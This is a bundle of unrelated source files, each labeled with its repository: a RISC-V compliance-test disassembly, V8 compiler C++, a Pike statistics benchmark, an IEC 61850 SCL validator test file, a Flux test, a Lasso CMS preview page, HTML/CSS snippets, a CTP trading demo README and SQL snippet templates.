1c: 03ff0263 beq t5,t6,40 <write_tohost>
20: 00000f17 auipc t5,0x0
24: fe0f0f13 addi t5,t5,-32 # 0 <_start>
28: 000f0463 beqz t5,30 <trap_vector+0x2c>
2c: 000f0067 jr t5
30: 34202f73 csrr t5,mcause
34: 000f5463 bgez t5,3c <handle_exception>
38: 0040006f j 3c <handle_exception>
0000003c <handle_exception>:
3c: 5391e193 ori gp,gp,1337
00000040 <write_tohost>:
40: 00001f17 auipc t5,0x1
44: fc3f2023 sw gp,-64(t5) # 1000 <tohost>
48: ff9ff06f j 40 <write_tohost>
0000004c <reset_vector>:
4c: 00000193 li gp,0
50: 00000297 auipc t0,0x0
54: fb428293 addi t0,t0,-76 # 4 <trap_vector>
58: 30529073 csrw mtvec,t0
5c: 30005073 csrwi mstatus,0
60: 00000297 auipc t0,0x0
64: 02028293 addi t0,t0,32 # 80 <begin_testcode>
68: 34129073 csrw mepc,t0
6c: 00000293 li t0,0
70: 10000337 lui t1,0x10000
74: 01030313 addi t1,t1,16 # 10000010 <_end+0xfffde0c>
78: 00532023 sw t0,0(t1)
7c: 30200073 mret
00000080 <begin_testcode>:
80: 00000097 auipc ra,0x0
84: 20808093 addi ra,ra,520 # 288 <_trap_handler>
88: 30509ff3 csrrw t6,mtvec,ra
8c: 30127073 csrci misa,4
90: 00002097 auipc ra,0x2
94: f7008093 addi ra,ra,-144 # 2000 <begin_signature>
98: 11111137 lui sp,0x11111
9c: 11110113 addi sp,sp,273 # 11111111 <_end+0x1110ef0d>
a0: 00a0006f j aa <begin_testcode+0x2a>
a4: 00000113 li sp,0
a8: 00002097 auipc ra,0x2
ac: f6408093 addi ra,ra,-156 # 200c <test_A2_res>
b0: 22222137 lui sp,0x22222
b4: 22210113 addi sp,sp,546 # 22222222 <_end+0x2222001e>
b8: 00000217 auipc tp,0x0
bc: 01120213 addi tp,tp,17 # c9 <begin_testcode+0x49>
c0: 00020067 jr tp # 0 <_start>
c4: 00000113 li sp,0
c8: 0020a023 sw sp,0(ra)
cc: 00408093 addi ra,ra,4
d0: 33333137 lui sp,0x33333
d4: 33310113 addi sp,sp,819 # 33333333 <_end+0x3333112f>
d8: 00000217 auipc tp,0x0
dc: 01020213 addi tp,tp,16 # e8 <begin_testcode+0x68>
e0: 00120067 jr 1(tp) # 0 <_start>
e4: 00000113 li sp,0
e8: 0020a023 sw sp,0(ra)
ec: 00408093 addi ra,ra,4
f0: 44444137 lui sp,0x44444
f4: 44410113 addi sp,sp,1092 # 44444444 <_end+0x44442240>
f8: 00000217 auipc tp,0x0
fc: 01420213 addi tp,tp,20 # 10c <begin_testcode+0x8c>
100: ffd20067 jr -3(tp) # 0 <_start>
104: 00000113 li sp,0
108: 0020a023 sw sp,0(ra)
10c: 00408093 addi ra,ra,4
110: 00002097 auipc ra,0x2
114: f0808093 addi ra,ra,-248 # 2018 <test_A3_res_exc>
118: 55555137 lui sp,0x55555
11c: 55510113 addi sp,sp,1365 # 55555555 <_end+0x55553351>
120: 00000217 auipc tp,0x0
124: 01220213 addi tp,tp,18 # 132 <begin_testcode+0xb2>
128: 00020067 jr tp # 0 <_start>
12c: 00000113 li sp,0
130: 66666137 lui sp,0x66666
134: 66610113 addi sp,sp,1638 # 66666666 <_end+0x66664462>
138: 00000217 auipc tp,0x0
13c: 01320213 addi tp,tp,19 # 14b <begin_testcode+0xcb>
140: 00020067 jr tp # 0 <_start>
144: 00000113 li sp,0
148: 77777137 lui sp,0x77777
14c: 77710113 addi sp,sp,1911 # 77777777 <_end+0x77775573>
150: 00000217 auipc tp,0x0
154: 01020213 addi tp,tp,16 # 160 <begin_testcode+0xe0>
158: 00220067 jr 2(tp) # 0 <_start>
15c: 00000113 li sp,0
160: 88889137 lui sp,0x88889
164: 88810113 addi sp,sp,-1912 # 88888888 <_end+0x88886684>
168: 00000217 auipc tp,0x0
16c: 01020213 addi tp,tp,16 # 178 <begin_testcode+0xf8>
170: 00320067 jr 3(tp) # 0 <_start>
174: 00000113 li sp,0
178: 00002097 auipc ra,0x2
17c: ed008093 addi ra,ra,-304 # 2048 <test_B1_res_exc>
180: 00500293 li t0,5
184: 00600313 li t1,6
188: 00628763 beq t0,t1,196 <begin_testcode+0x116>
18c: 9999a137 lui sp,0x9999a
190: 99910113 addi sp,sp,-1639 # 99999999 <_end+0x99997795>
194: 00000013 nop
198: 00000013 nop
19c: 00528563 beq t0,t0,1a6 <begin_testcode+0x126>
1a0: 00000113 li sp,0
1a4: 00002097 auipc ra,0x2
1a8: eb008093 addi ra,ra,-336 # 2054 <test_B2_res_exc>
1ac: 00500293 li t0,5
1b0: 00600313 li t1,6
1b4: 00529763 bne t0,t0,1c2 <begin_testcode+0x142>
1b8: aaaab137 lui sp,0xaaaab
1bc: aaa10113 addi sp,sp,-1366 # aaaaaaaa <_end+0xaaaa88a6>
1c0: 00000013 nop
1c4: 00000013 nop
1c8: 00629563 bne t0,t1,1d2 <begin_testcode+0x152>
1cc: 00000113 li sp,0
1d0: 00002097 auipc ra,0x2
1d4: e9008093 addi ra,ra,-368 # 2060 <test_B3_res_exc>
1d8: 00500293 li t0,5
1dc: 00600313 li t1,6
1e0: 00534763 blt t1,t0,1ee <begin_testcode+0x16e>
1e4: bbbbc137 lui sp,0xbbbbc
1e8: bbb10113 addi sp,sp,-1093 # bbbbbbbb <_end+0xbbbb99b7>
1ec: 00000013 nop
1f0: 00000013 nop
1f4: 0062c563 blt t0,t1,1fe <begin_testcode+0x17e>
1f8: 00000113 li sp,0
1fc: 00002097 auipc ra,0x2
200: e7008093 addi ra,ra,-400 # 206c <test_B4_res_exc>
204: 00500293 li t0,5
208: 00600313 li t1,6
20c: 00536763 bltu t1,t0,21a <begin_testcode+0x19a>
210: ccccd137 lui sp,0xccccd
214: ccc10113 addi sp,sp,-820 # cccccccc <_end+0xccccaac8>
218: 00000013 nop
21c: 00000013 nop
220: 0062e563 bltu t0,t1,22a <begin_testcode+0x1aa>
224: 00000113 li sp,0
228: 00002097 auipc ra,0x2
22c: e5008093 addi ra,ra,-432 # 2078 <test_B5_res_exc>
230: 00500293 li t0,5
234: 00600313 li t1,6
238: 0062d763 bge t0,t1,246 <begin_testcode+0x1c6>
23c: dddde137 lui sp,0xdddde
240: ddd10113 addi sp,sp,-547 # dddddddd <_end+0xddddbbd9>
244: 00000013 nop
248: 00000013 nop
24c: 00535563 bge t1,t0,256 <begin_testcode+0x1d6>
250: 00000113 li sp,0
254: 00002097 auipc ra,0x2
258: e3008093 addi ra,ra,-464 # 2084 <test_B6_res_exc>
25c: 00500293 li t0,5
260: 00600313 li t1,6
264: 0062f763 bgeu t0,t1,272 <begin_testcode+0x1f2>
268: eeeef137 lui sp,0xeeeef
26c: eee10113 addi sp,sp,-274 # eeeeeeee <_end+0xeeeeccea>
270: 00000013 nop
274: 00000013 nop
278: 00537563 bgeu t1,t0,282 <begin_testcode+0x202>
27c: 00000113 li sp,0
280: 305f9073 csrw mtvec,t6
284: 0300006f j 2b4 <test_end>
00000288 <_trap_handler>:
288: 34302f73 csrr t5,mtval
28c: ffef0f13 addi t5,t5,-2
290: 341f1073 csrw mepc,t5
294: 34302f73 csrr t5,mtval
298: 003f7f13 andi t5,t5,3
29c: 01e0a023 sw t5,0(ra)
2a0: 34202f73 csrr t5,mcause
2a4: 01e0a223 sw t5,4(ra)
2a8: 0020a423 sw sp,8(ra)
2ac: 00c08093 addi ra,ra,12
2b0: 30200073 mret
000002b4 <test_end>:
2b4: 00002297 auipc t0,0x2
2b8: d4c28293 addi t0,t0,-692 # 2000 <begin_signature>
2bc: 10000337 lui t1,0x10000
2c0: 00830313 addi t1,t1,8 # 10000008 <_end+0xfffde04>
2c4: 00532023 sw t0,0(t1)
2c8: 00002297 auipc t0,0x2
2cc: dc828293 addi t0,t0,-568 # 2090 <end_signature>
2d0: 10000337 lui t1,0x10000
2d4: 00c30313 addi t1,t1,12 # 1000000c <_end+0xfffde08>
2d8: 00532023 sw t0,0(t1)
2dc: 00100293 li t0,1
2e0: 10000337 lui t1,0x10000
2e4: 01030313 addi t1,t1,16 # 10000010 <_end+0xfffde0c>
2e8: 00532023 sw t0,0(t1)
2ec: 00000013 nop
2f0: 00100193 li gp,1
2f4: 00000073 ecall
000002f8 <end_testcode>:
2f8: c0001073 unimp
...
Disassembly of section .tohost:
00001000 <tohost>:
...
00001100 <fromhost>:
...
Disassembly of section .data:
00002000 <begin_signature>:
2000: ffff 0xffff
2002: ffff 0xffff
2004: ffff 0xffff
2006: ffff 0xffff
2008: ffff 0xffff
200a: ffff 0xffff
0000200c <test_A2_res>:
200c: ffff 0xffff
200e: ffff 0xffff
2010: ffff 0xffff
2012: ffff 0xffff
2014: ffff 0xffff
2016: ffff 0xffff
00002018 <test_A3_res_exc>:
2018: ffff 0xffff
201a: ffff 0xffff
201c: ffff 0xffff
201e: ffff 0xffff
2020: ffff 0xffff
2022: ffff 0xffff
2024: ffff 0xffff
2026: ffff 0xffff
2028: ffff 0xffff
202a: ffff 0xffff
202c: ffff 0xffff
202e: ffff 0xffff
2030: ffff 0xffff
2032: ffff 0xffff
2034: ffff 0xffff
2036: ffff 0xffff
2038: ffff 0xffff
203a: ffff 0xffff
203c: ffff 0xffff
203e: ffff 0xffff
2040: ffff 0xffff
2042: ffff 0xffff
2044: ffff 0xffff
2046: ffff 0xffff
00002048 <test_B1_res_exc>:
2048: ffff 0xffff
204a: ffff 0xffff
204c: ffff 0xffff
204e: ffff 0xffff
2050: ffff 0xffff
2052: ffff 0xffff
00002054 <test_B2_res_exc>:
2054: ffff 0xffff
2056: ffff 0xffff
2058: ffff 0xffff
205a: ffff 0xffff
205c: ffff 0xffff
205e: ffff 0xffff
00002060 <test_B3_res_exc>:
2060: ffff 0xffff
2062: ffff 0xffff
2064: ffff 0xffff
2066: ffff 0xffff
2068: ffff 0xffff
206a: ffff 0xffff
0000206c <test_B4_res_exc>:
206c: ffff 0xffff
206e: ffff 0xffff
2070: ffff 0xffff
2072: ffff 0xffff
2074: ffff 0xffff
2076: ffff 0xffff
00002078 <test_B5_res_exc>:
2078: ffff 0xffff
207a: ffff 0xffff
207c: ffff 0xffff
207e: ffff 0xffff
2080: ffff 0xffff
2082: ffff 0xffff
00002084 <test_B6_res_exc>:
2084: ffff 0xffff
2086: ffff 0xffff
2088: ffff 0xffff
208a: ffff 0xffff
208c: ffff 0xffff
208e: ffff 0xffff
00002090 <end_signature>:
...
00002100 <begin_regstate>:
2100: 0080 addi s0,sp,64
...
00002200 <end_regstate>:
2200: 0004 0x4
...
| ObjDump | 3 | DuBirdFly/TinyRISCV_Learn | tests/riscv-compliance/build_generated/rv32i/I-MISALIGN_JMP-01.elf.objdump | [
"Apache-2.0"
] |
// Copyright 2014 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "src/compiler/operator-properties.h"
#include "src/compiler/js-operator.h"
#include "src/compiler/linkage.h"
#include "src/compiler/opcodes.h"
#include "src/runtime/runtime.h"
namespace v8 {
namespace internal {
namespace compiler {
// static
bool OperatorProperties::HasContextInput(const Operator* op) {
IrOpcode::Value opcode = static_cast<IrOpcode::Value>(op->opcode());
return IrOpcode::IsJsOpcode(opcode);
}
// static
bool OperatorProperties::NeedsExactContext(const Operator* op) {
DCHECK(HasContextInput(op));
IrOpcode::Value const opcode = static_cast<IrOpcode::Value>(op->opcode());
switch (opcode) {
#define CASE(Name, ...) case IrOpcode::k##Name:
// Binary/unary operators, calls and constructor calls only
// need the context to generate exceptions or lookup fields
// on the native context, so passing any context is fine.
JS_SIMPLE_BINOP_LIST(CASE)
JS_CALL_OP_LIST(CASE)
JS_CONSTRUCT_OP_LIST(CASE)
JS_SIMPLE_UNOP_LIST(CASE)
#undef CASE
case IrOpcode::kJSCloneObject:
case IrOpcode::kJSCreate:
case IrOpcode::kJSCreateLiteralArray:
case IrOpcode::kJSCreateEmptyLiteralArray:
case IrOpcode::kJSCreateLiteralObject:
case IrOpcode::kJSCreateEmptyLiteralObject:
case IrOpcode::kJSCreateArrayFromIterable:
case IrOpcode::kJSCreateLiteralRegExp:
case IrOpcode::kJSGetTemplateObject:
case IrOpcode::kJSForInEnumerate:
case IrOpcode::kJSForInNext:
case IrOpcode::kJSForInPrepare:
case IrOpcode::kJSGeneratorRestoreContext:
case IrOpcode::kJSGeneratorRestoreContinuation:
case IrOpcode::kJSGeneratorRestoreInputOrDebugPos:
case IrOpcode::kJSGeneratorRestoreRegister:
case IrOpcode::kJSGetSuperConstructor:
case IrOpcode::kJSLoadGlobal:
case IrOpcode::kJSLoadMessage:
case IrOpcode::kJSStackCheck:
case IrOpcode::kJSStoreMessage:
case IrOpcode::kJSGetIterator:
return false;
case IrOpcode::kJSCallRuntime:
return Runtime::NeedsExactContext(CallRuntimeParametersOf(op).id());
case IrOpcode::kJSCreateArguments:
// For mapped arguments we need to access slots of context-allocated
// variables if there's aliasing with formal parameters.
return CreateArgumentsTypeOf(op) == CreateArgumentsType::kMappedArguments;
case IrOpcode::kJSCreateBlockContext:
case IrOpcode::kJSCreateClosure:
case IrOpcode::kJSCreateFunctionContext:
case IrOpcode::kJSCreateGeneratorObject:
case IrOpcode::kJSCreateCatchContext:
case IrOpcode::kJSCreateWithContext:
case IrOpcode::kJSDebugger:
case IrOpcode::kJSDefineProperty:
case IrOpcode::kJSDeleteProperty:
case IrOpcode::kJSGeneratorStore:
case IrOpcode::kJSGetImportMeta:
case IrOpcode::kJSHasProperty:
case IrOpcode::kJSHasContextExtension:
case IrOpcode::kJSLoadContext:
case IrOpcode::kJSLoadModule:
case IrOpcode::kJSLoadNamed:
case IrOpcode::kJSLoadNamedFromSuper:
case IrOpcode::kJSLoadProperty:
case IrOpcode::kJSStoreContext:
case IrOpcode::kJSStoreDataPropertyInLiteral:
case IrOpcode::kJSStoreGlobal:
case IrOpcode::kJSStoreInArrayLiteral:
case IrOpcode::kJSStoreModule:
case IrOpcode::kJSStoreNamed:
case IrOpcode::kJSStoreNamedOwn:
case IrOpcode::kJSStoreProperty:
return true;
case IrOpcode::kJSAsyncFunctionEnter:
case IrOpcode::kJSAsyncFunctionReject:
case IrOpcode::kJSAsyncFunctionResolve:
case IrOpcode::kJSCreateArrayIterator:
case IrOpcode::kJSCreateAsyncFunctionObject:
case IrOpcode::kJSCreateBoundFunction:
case IrOpcode::kJSCreateCollectionIterator:
case IrOpcode::kJSCreateIterResultObject:
case IrOpcode::kJSCreateStringIterator:
case IrOpcode::kJSCreateKeyValueArray:
case IrOpcode::kJSCreateObject:
case IrOpcode::kJSCreatePromise:
case IrOpcode::kJSCreateTypedArray:
case IrOpcode::kJSCreateArray:
case IrOpcode::kJSFulfillPromise:
case IrOpcode::kJSObjectIsArray:
case IrOpcode::kJSPerformPromiseThen:
case IrOpcode::kJSPromiseResolve:
case IrOpcode::kJSRegExpTest:
case IrOpcode::kJSRejectPromise:
case IrOpcode::kJSResolvePromise:
// These operators aren't introduced by BytecodeGraphBuilder and
// thus we don't bother checking them. If you ever introduce one
// of these early in the BytecodeGraphBuilder make sure to check
// whether they are context-sensitive.
break;
#define CASE(Name) case IrOpcode::k##Name:
// Non-JavaScript operators don't have a notion of "context"
COMMON_OP_LIST(CASE)
CONTROL_OP_LIST(CASE)
MACHINE_OP_LIST(CASE)
MACHINE_SIMD_OP_LIST(CASE)
SIMPLIFIED_OP_LIST(CASE)
break;
#undef CASE
}
UNREACHABLE();
}
// static
bool OperatorProperties::HasFrameStateInput(const Operator* op) {
switch (op->opcode()) {
case IrOpcode::kCheckpoint:
case IrOpcode::kFrameState:
return true;
case IrOpcode::kJSCallRuntime: {
const CallRuntimeParameters& p = CallRuntimeParametersOf(op);
return Linkage::NeedsFrameStateInput(p.id());
}
// Strict equality cannot lazily deoptimize.
case IrOpcode::kJSStrictEqual:
return false;
// Generator creation cannot call back into arbitrary JavaScript.
case IrOpcode::kJSCreateGeneratorObject:
return false;
// Binary operations
case IrOpcode::kJSAdd:
case IrOpcode::kJSSubtract:
case IrOpcode::kJSMultiply:
case IrOpcode::kJSDivide:
case IrOpcode::kJSModulus:
case IrOpcode::kJSExponentiate:
// Bitwise operations
case IrOpcode::kJSBitwiseOr:
case IrOpcode::kJSBitwiseXor:
case IrOpcode::kJSBitwiseAnd:
// Shift operations
case IrOpcode::kJSShiftLeft:
case IrOpcode::kJSShiftRight:
case IrOpcode::kJSShiftRightLogical:
// Compare operations
case IrOpcode::kJSEqual:
case IrOpcode::kJSGreaterThan:
case IrOpcode::kJSGreaterThanOrEqual:
case IrOpcode::kJSLessThan:
case IrOpcode::kJSLessThanOrEqual:
case IrOpcode::kJSHasProperty:
case IrOpcode::kJSHasInPrototypeChain:
case IrOpcode::kJSInstanceOf:
case IrOpcode::kJSOrdinaryHasInstance:
// Object operations
case IrOpcode::kJSCreate:
case IrOpcode::kJSCreateArguments:
case IrOpcode::kJSCreateArray:
case IrOpcode::kJSCreateTypedArray:
case IrOpcode::kJSCreateLiteralArray:
case IrOpcode::kJSCreateArrayFromIterable:
case IrOpcode::kJSCreateLiteralObject:
case IrOpcode::kJSCreateLiteralRegExp:
case IrOpcode::kJSCreateObject:
case IrOpcode::kJSCloneObject:
// Property access operations
case IrOpcode::kJSDeleteProperty:
case IrOpcode::kJSLoadGlobal:
case IrOpcode::kJSLoadNamed:
case IrOpcode::kJSLoadNamedFromSuper:
case IrOpcode::kJSLoadProperty:
case IrOpcode::kJSStoreDataPropertyInLiteral:
case IrOpcode::kJSStoreInArrayLiteral:
case IrOpcode::kJSStoreGlobal:
case IrOpcode::kJSStoreNamed:
case IrOpcode::kJSStoreNamedOwn:
case IrOpcode::kJSStoreProperty:
case IrOpcode::kJSDefineProperty:
// Conversions
case IrOpcode::kJSToLength:
case IrOpcode::kJSToName:
case IrOpcode::kJSToNumber:
case IrOpcode::kJSToNumberConvertBigInt:
case IrOpcode::kJSToNumeric:
case IrOpcode::kJSToObject:
case IrOpcode::kJSToString:
case IrOpcode::kJSParseInt:
// Call operations
case IrOpcode::kJSConstructForwardVarargs:
case IrOpcode::kJSConstruct:
case IrOpcode::kJSConstructWithArrayLike:
case IrOpcode::kJSConstructWithSpread:
case IrOpcode::kJSCallForwardVarargs:
case IrOpcode::kJSCall:
case IrOpcode::kJSCallWithArrayLike:
case IrOpcode::kJSCallWithSpread:
#if V8_ENABLE_WEBASSEMBLY
case IrOpcode::kJSWasmCall:
#endif // V8_ENABLE_WEBASSEMBLY
// Misc operations
case IrOpcode::kJSAsyncFunctionEnter:
case IrOpcode::kJSAsyncFunctionReject:
case IrOpcode::kJSAsyncFunctionResolve:
case IrOpcode::kJSForInEnumerate:
case IrOpcode::kJSForInNext:
case IrOpcode::kJSStackCheck:
case IrOpcode::kJSDebugger:
case IrOpcode::kJSGetSuperConstructor:
case IrOpcode::kJSBitwiseNot:
case IrOpcode::kJSDecrement:
case IrOpcode::kJSIncrement:
case IrOpcode::kJSNegate:
case IrOpcode::kJSPromiseResolve:
case IrOpcode::kJSRejectPromise:
case IrOpcode::kJSResolvePromise:
case IrOpcode::kJSPerformPromiseThen:
case IrOpcode::kJSObjectIsArray:
case IrOpcode::kJSRegExpTest:
case IrOpcode::kJSGetImportMeta:
// Iterator protocol operations
case IrOpcode::kJSGetIterator:
return true;
default:
return false;
}
}
// static
int OperatorProperties::GetTotalInputCount(const Operator* op) {
return op->ValueInputCount() + GetContextInputCount(op) +
GetFrameStateInputCount(op) + op->EffectInputCount() +
op->ControlInputCount();
}
// static
bool OperatorProperties::IsBasicBlockBegin(const Operator* op) {
Operator::Opcode const opcode = op->opcode();
return opcode == IrOpcode::kStart || opcode == IrOpcode::kEnd ||
opcode == IrOpcode::kDead || opcode == IrOpcode::kLoop ||
opcode == IrOpcode::kMerge || opcode == IrOpcode::kIfTrue ||
opcode == IrOpcode::kIfFalse || opcode == IrOpcode::kIfSuccess ||
opcode == IrOpcode::kIfException || opcode == IrOpcode::kIfValue ||
opcode == IrOpcode::kIfDefault;
}
} // namespace compiler
} // namespace internal
} // namespace v8
| C++ | 5 | EXHades/v8 | src/compiler/operator-properties.cc | [
"BSD-3-Clause"
] |
#!/usr/bin/pike
// -*- mode: pike -*-
// $Id: moments.pike,v 1.1 2004-05-19 18:10:48 bfulgham Exp $
// http://www.bagley.org/~doug/shootout/
// from: Fredrik Noring
class Moments
{
int N;
float median;
float mean;
float average_deviation;
float standard_deviation;
float variance;
float skew;
float kurtosis;
void create(array(float) v)
{
float sum = `+(@v);
N = sizeof(v);
mean = sum / N;
foreach(v, float i)
{
float deviation = i - mean;
average_deviation += abs(deviation);
variance += pow(deviation, 2);
skew += pow(deviation, 3);
kurtosis += pow(deviation, 4);
}
average_deviation /= N;
variance /= (N - 1);
standard_deviation = sqrt(variance);
if (variance)
{
skew /= (N * variance * standard_deviation);
kurtosis = kurtosis/(N * variance * variance) - 3.0;
}
sort(v);
int mid = N/2;
median = N % 2 ? v[mid] : (v[mid] + v[mid-1])/2;
}
};
int main()
{
array input = Stdio.stdin.read()/"\n";
Moments m=Moments( (array(float)) input[..sizeof(input)-2] );
write("n: %d\n", m->N);
write("median: %.6f\n", m->median);
write("mean: %.6f\n", m->mean);
write("average_deviation: %.6f\n", m->average_deviation);
write("standard_deviation: %.6f\n", m->standard_deviation);
write("variance: %.6f\n", m->variance);
write("skew: %.6f\n", m->skew);
write("kurtosis: %.6f\n", m->kurtosis);
}
| Pike | 4 | kragen/shootout | bench/moments/moments.pike | [
"BSD-3-Clause"
] |
<?xml version="1.0" encoding="UTF-8"?>
<SCL xmlns:sxy="http://www.iec.ch/61850/2003/SCLcoordinates" xmlns="http://www.iec.ch/61850/2003/SCL" xmlns:txy="http://www.iec.ch/61850/2003/Terminal" xmlns:scl="http://www.iec.ch/61850/2003/SCL" xsi:schemaLocation="http://www.iec.ch/61850/2003/SCL SCL.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:IEC_60870_5_104="http://www.iec.ch/61850-80-1/2007/SCL" version="2007" revision="B" release="4">
<Header id="TrainingIEC61850" version="1" revision="143" toolID="IEC 61850 System Configurator, Version: V5.90 " nameStructure="IEDName">
<Text>TrainingIEC61850</Text>
<History>
<Hitem version="1" revision="143" when="Wednesday, September 25, 2019 9:11:36 AM" who="Licenced User: OMICRON electronics GmbH JakVog00 Machine: JAKVOG00LW01 User: JakVog00" what="Station is upgraded from IEC 61850 System Configurator, Version: V5.80 HF1 to V5.90 ." why="IEC 61850 System Configurator Automatic Startup: Insert Comment" />
</History>
</Header>
<DataTypeTemplates>
<LNodeType lnClass="LLN0" id="typelessDo">
<DO name="Name" bType="Struct"/>
</LNodeType>
<LNodeType lnClass="MMXU" id="typelessSDo">
<SDO name="Name" bType="Struct"/>
</LNodeType>
<LNodeType lnClass="LLN=" id="relessDo">
<DO name="Name" bType="Struct" type="refToNowhere"/>
</LNodeType>
<LNodeType lnClass="LLN=" id="relessSDo">
<SDO name="Name" bType="Struct" type="refToNowhere"/>
</LNodeType>
<LNodeType lnClass="LLN=" id="correctDo">
<DO name="Name" bType="Struct" type="refToSomewhere"/>
</LNodeType>
<DOType id="refToSomewhere" cdc="someCDC"/>
<DOType id="missingType1" cdc="someCDC">
<DA name="name" bType="Struct" />
</DOType>
<DOType id="existingType1" cdc="someCDC">
<DA name="name" bType="Struct" type="refToSomewhereDa"/>
</DOType>
<DOType id="invalidReference1" cdc="someCDC">
<DA name="name" bType="Struct" type="refToNowwhere"/>
</DOType>
<DOType id="missingType2" cdc="someCDC">
<DA name="name" bType="Enum" />
</DOType>
<DOType id="existingType2" cdc="someCDC">
<DA name="name" bType="Enum" type="refToSomewhereEnum"/>
</DOType>
<DOType id="invalidReference2" cdc="someCDC">
<DA name="name" bType="Enum" type="refToNowwhere"/>
</DOType>
<DAType id="missingType1">
<BDA name="name" bType="Struct" />
</DAType>
<DAType id="existingType1">
<BDA name="name" bType="Struct" type="refToSomewhereDa"/>
</DAType>
<DAType id="invalidReference1">
<BDA name="name" bType="Struct" type="refToNowwhere"/>
</DAType>
<DAType id="missingType2">
<BDA name="name" bType="Enum" />
</DAType>
<DAType id="existingType2">
<BDA name="name" bType="Enum" type="refToSomewhereEnum"/>
</DAType>
<DAType id="invalidReference2">
<BDA name="name" bType="Enum" type="refToNowwhere"/>
</DAType>
<DAType id="refToSomewhereDa"/>
<EnumType id="refToSomewhereEnum"/>
</DataTypeTemplates>
</SCL>
| SuperCollider | 3 | JakobVogelsang/openscdtest.github.io | test/testfiles/validators/doandsdotestfile.scd | [
"Apache-2.0"
] |
package universe_test
import "testing"
option now = () => 2030-01-01T00:00:00Z
inData =
"
#datatype,string,long,dateTime:RFC3339,double,string,string
#group,false,false,false,false,true,true
#default,_result,,,,,
,result,table,_time,_value,_field,_measurement
,,0,2018-05-22T19:53:26Z,34.98234271799806,active,mem
,,0,2018-05-22T19:53:36Z,34.98234941084654,active,mem
,,0,2018-05-22T19:53:46Z,34.982447293755506,active,mem
,,0,2018-05-22T19:53:56Z,34.982447293755506,active,mem
,,0,2018-05-22T19:54:06Z,34.98204153981662,active,mem
,,0,2018-05-22T19:54:16Z,34.982252364543626,active,mem
,,1,2018-05-22T19:53:26Z,34.98234271799806,f,m2
,,1,2018-05-22T19:53:36Z,34.98234941084654,f,m2
,,1,2018-05-22T19:53:46Z,34.982447293755506,f,m2
,,1,2018-05-22T19:53:56Z,34.982447293755506,f,m2
,,1,2018-05-22T19:54:06Z,34.98204153981662,f,m2
,,1,2018-05-22T19:54:16Z,34.982252364543626,f,m2
"
outData = "
#datatype,string,long,double
#group,false,false,false
#default,_result,,
,result,table,elapsed
,,0,10
"
t_elapsed = (table=<-) =>
table
|> range(start: 2018-05-22T19:53:26Z)
|> filter(fn: (r) => r._measurement == "mem" and r._field == "active")
|> elapsed()
|> group()
|> map(fn: (r) => ({r with elapsed: float(v: r.elapsed)}))
|> median(column: "elapsed")
test _elapsed_median = () =>
({input: testing.loadStorage(csv: inData), want: testing.loadMem(csv: outData), fn: t_elapsed})
| FLUX | 4 | metrico/flux | stdlib/universe/elapsed_median_test.flux | [
"MIT"
] |
<?Lassoscript
// Last modified 3/8/10 by ECL, Landmann InterActive
// FUNCTIONALITY
// This page displays a template preview
// Debugging
// Var('svDebug' = 'Y');
'<!-- preview_template -->\n';
// Get the Content ID of the special page "Template Preview"
Var:'SQLGetPreviewID' = '/* 15 RenderPage - $SQLGetPreviewID */
SELECT * FROM '$svSiteDatabase'.'$svContentTable' WHERE Headline = "Template Preview" LIMIT 1';
Inline: $IV_Content, -SQL=$SQLGetPreviewID;
// $PreviewID is passed to /admin/preview.lasso which calls /includes/build_detail.inc
// to look up the content
Var('PreviewID' = (Field('id')));
Var('vHeirarchyID' = (Field('HeirarchyID')));
Debug;
('21: SQLGetPreviewID = ' ($SQLGetPreviewID) '<br>\n');
('21: Found_Count = ' (Found_Count) '<br>\n');
('21: Error_CurrentError = ' (Error_CurrentError) '<br>\n');
('21: vID = '+($vID)+'<br>\n');
('21: vHeirarchyID = '+($vHeirarchyID)+'<br>\n');
/Debug;
/Inline;
// Convert action_params
Var('PreviewTemplate' = Action_Param('Template'));
// Build the heirarchy maps
Include(($svLibsPath)+'build_heirmaps.inc');
// Include the detail page. There was a change to build_detail.inc to see if $PreviewTemplate exists.
Include('/admin/preview.lasso');
?> | Lasso | 4 | subethaedit/SubEthaEd | Documentation/ModeDevelopment/Reference Files/LassoScript-HTML/itpage/admin/preview_template.lasso | [
"MIT"
] |
# CTPtest
用ctp官方接口写的一个简单demo,具备行情、交易、k线数据以及策略功能,可以连接simnow模拟交易~<br>
编译环境是windows+vs2015,如果要用在linux上,需要用linux版的ctp api
# 博客地址
http://blog.csdn.net/u012234115/article/details/70195889
# 截图
<br/>
<br/>
<br/>
<br/>

| BitBake | 2 | whdugh/CTP | README.md.bb | [
"MIT"
] |
<!DOCTYPE html>
<html>
<head>
<script>
var win = null;
var close_tested = false;
nw.Window.open('popup.html', {}, function(w) {
win = w;
win.on('close', function() {
if (!close_tested) {
document.getElementById('result2').innerHTML = 'success';
close_tested = true;
} else {
win.close(true);
}
});
});
function test() {
document.getElementById('result').innerHTML = win.window.document.getElementById('result').innerHTML;
}
</script>
</head>
<body>
<button onclick="test()">test</button>
<div id="result">target window</div>
<div id="result2">close event</div>
</body>
</html>
| HTML | 3 | namaljayathunga/nw.js | test/remoting/wopen-obj-navigate/index.html | [
"MIT"
] |
.ListItem {
list-style-type: none;
}
.Input {
cursor: pointer;
}
.Label {
cursor: pointer;
padding: 0.25rem;
color: #555;
}
.Label:hover {
color: #000;
}
.IconButton {
padding: 0.25rem;
border: none;
background: none;
cursor: pointer;
}
| CSS | 3 | vegYY/react | packages/react-devtools-shell/src/app/ToDoList/ListItem.css | [
"MIT"
] |
" ";
" ";
" ";
";";
"(" $1 ")";
"(" $1 ", " $2 ")";
"(" $1 ", " $2 ", " $3 ")";
$1 ", " $2 ;
$1 ", " $2 ", " $3 ;
$1 ", " $2 ", " $3 ", " $4 ;
$1 ", " $2 ", " $3 ", " $4 ", " $5 ;
"[" $1 ", " $2 "]";
"[" $1 ", " $2 ", " $3 "]";
"[" $1 ", " $2 ", " $3 ", " $4 "]";
"[" $1 ", " $2 ", " $3 ", " $4 ", " $5 "]";
$0 "(" $1 ")";
$0 "(" $1 ", " $2 ")";
$0 "(" $1 ", " $2 ", " $3 ")";
$1 " as " $2 ;
// TODO: add more clickhouse specific stuff
"SELECT " $1 " FROM " $2 " WHERE " $3 ;
"SELECT " $1 " FROM " $2 " GROUP BY " $3 ;
"SELECT " $1 " FROM " $2 " SORT BY " $3 ;
"SELECT " $1 " FROM " $2 " LIMIT " $3 ;
